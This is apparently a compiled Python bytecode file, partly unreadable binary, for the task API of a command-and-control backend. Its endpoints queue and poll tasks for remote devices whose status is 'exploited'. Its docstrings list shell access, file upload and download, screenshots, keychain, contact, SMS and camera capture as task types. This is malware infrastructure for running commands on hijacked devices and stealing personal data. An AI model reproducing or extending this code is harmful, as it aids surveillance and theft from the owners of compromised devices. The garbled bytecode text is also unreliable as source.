+
    Dd>j                     j   R t ^ RIHtHtHt ^ RIHt ^ RIHt ^ RI	H
t
 ^ RIt^ RIt]! RR.R7      t]P                  R	]P                  R
7      ]! ]
4      3R R ll4       t]P                  R]]P                  ,          R
7      ]! ]
4      3R R ll4       t]P%                  R]]P                  ,          R
7      ]! ]
4      3R R ll4       t]P                  R4      ]! ]
4      3R R ll4       t]P%                  R]]P                  ,          R
7      ^ ^d]! ]
4      3R R ll4       t]P%                  R]P                  R
7      ]! ]
4      3R R ll4       t]P/                  R4      ]! ]
4      3R R ll4       t]P%                  R]]P                  ,          R
7      ^ ^dR]! ]
4      3R R  ll4       tR# )!u   任务管理 API 路由)	APIRouterDependsHTTPException)Session)List)get_dbNz
/api/taskstasks)prefixtagsz/create)response_modelc                D    V ^8  d   QhR\         P                  R\        /# )   taskdb)schemas
TaskCreater   )formats   "6/Users/wind/Downloads/Coruna-main/backend/api/tasks.py__annotate__r      s      & &g(( &g &    c                    \         P                  ! WP                  4      pV'       g   \        RRR7      hVP                  R9  d   \        RRVP                   R2R7      h\         P
                  ! W4      # )uv   
创建单个任务
支持的任务类型：shell, upload, download, screenshot, keychain, contact, sms, camera, etc.
  Device not foundstatus_codedetail  u   设备状态为 'uF   '，无法接收任务。请等待设备完成漏洞利用后再试。	exploitedonline)crud
get_devicedevice_uuidr   statuscreate_task)r   r   devices   && r   r$   r$      sr     __R!1!12F4FGG }}336G  W]  5^  _  	_B%%r   z/create/batchc                D    V ^8  d   QhR\         P                  R\        /# )r   batchr   )r   TaskBatchCreater   )r   s   "r   r   r       s      . .g55 .7 .r   c                l   . pV P                    Ff  p\        P                  ! W4      pV'       g   \        RRV R2R7      hVP                  R
9  g   KE  VP                  V RVP                   R24       Kh  	  V'       d    \        RRR	P                  V4       2R7      h\        P                  ! W4      # )uB   
批量创建任务
支持同时向多个设备下发相同任务
r   zDevice z
 not foundr   z ()r   u/   以下设备状态无效，无法接收任务: z, r   )device_uuidsr    r!   r   r#   appendjoincreate_batch_tasks)r'   r   invalid_devicesr"   r%   s   &&   r   r.   r.      s     O))1C'+j8YZZ== 77""k]"V]]O1#EF * 6efjfofop  gA  fB  5C  D  	D""2--r   z/poll/{device_uuid}c                0    V ^8  d   QhR\         R\        /# )r   r"   r   )strr   )r   s   "r   r   r   5   s      C W r   c                    \         P                  ! W4      pV'       g   \        RRR7      h\         P                  ! W4      pV F$  p\         P                  ! WP
                  R4       K&  	  V# )uI   
设备轮询待执行任务
返回该设备所有pending状态的任务
r   r   r   running)r    r!   r   get_pending_tasksupdate_task_statusid)r"   r   r%   r   r   s   &&   r   
poll_tasksr7   4   sZ     __R-F4FGG""23E GGY7  Lr   z/resultc                D    V ^8  d   QhR\         P                  R\        /# )r   resultr   )r   
TaskResultr   )r   s   "r   r   r   I   s$     L Lw11 Lw Lr   c                    \         P                  ! VV P                  V P                  V P                  V P
                  R7      pV'       g   \        RRR7      hRRRV P                  RV P                  /# )	u<   
设备提交任务执行结果
更新任务状态和结果
)r9   error_messager   Task not foundr   okTtask_idr#   )r    r5   r?   r#   r9   r<   r   )r9   r   r   s   && r   submit_task_resultr@   H   sc     ""
}}**D 4DEE$	6>>8V]]KKr   z/device/{device_uuid}c                H    V ^8  d   QhR\         R\        R\        R\        /# )r   r"   skiplimitr   )r1   intr   )r   s   "r   r   r   ]   s.     J J# JS JS JG Jr   c                    \         P                  ! W04      pV'       g   \        RRR7      h\         P                  ! W0WR7      # )u!   获取指定设备的任务列表r   r   r   )rB   rC   )r    r!   r   get_device_tasks)r"   rB   rC   r   r%   s   &&&& r   rF   rF   \   s6     __R-F4FGG  tIIr   z
/{task_id}c                0    V ^8  d   QhR\         R\        /# r   r?   r   rD   r   )r   s   "r   r   r   h   s      c w r   c                \    \         P                  ! W4      pV'       g   \        RRR7      hV# )u   获取单个任务详情r   r=   r   )r    get_taskr   r?   r   r   s   && r   rK   rK   g   s(     ==%D4DEEKr   c                0    V ^8  d   QhR\         R\        /# rH   rI   )r   s   "r   r   r   q   s     5 5 5' 5r   c                f    \         P                  ! WR4      pV'       g   \        RRR7      hRRRR/# )	u   取消任务	cancelledr   r=   r   r>   TmessagezTask cancelled)r    r5   r   rL   s   && r   cancel_taskrQ   p   s7     ""2<D4DEE$	#344r    c                H    V ^8  d   QhR\         R\         R\        R\        /# )r   rB   rC   r#   r   )rD   r1   r   )r   s   "r   r   r   z   s.     Z ZS ZS Z Z Zr   c                   ^ RI Hp \        RR.R7      P                  pV'       d{   VP	                  V4      P                  VP                  V8H  4      P                  V! VP                  4      4      P                  V 4      P                  V4      P                  4       pV# VP	                  V4      P                  V! VP                  4      4      P                  V 4      P                  V4      P                  4       # )u0   
获取所有任务列表
支持按状态筛选
)descz..modelsTask)fromlist)
sqlalchemyrU   
__import__rV   queryfilterr#   order_by
created_atoffsetrC   all)rB   rC   r#   r   rU   rV   r   s   &&&&   r   
list_tasksr`   y   s      jF8499D%%KK6!

(4(
)&&,uuU|CCE 	 88D>""4#89@@FLLUSWWYYr   )__doc__fastapir   r   r   sqlalchemy.ormr   typingr   databaser   r    r   routerpostTaskOutr$   r.   getr7   r@   rF   rK   deleterQ   r`    r   r   <module>rl      s    5 5 "   	,gY	7 Yw78? & 8&" _T'//-BCELV_ . D.( !$w2GH/6v  I& YAH L L& #D4IJ343V]^dVe J KJ L9)0  : |,3FO 5 5 BtGOO453dRYZ`Ra Z 6Zr   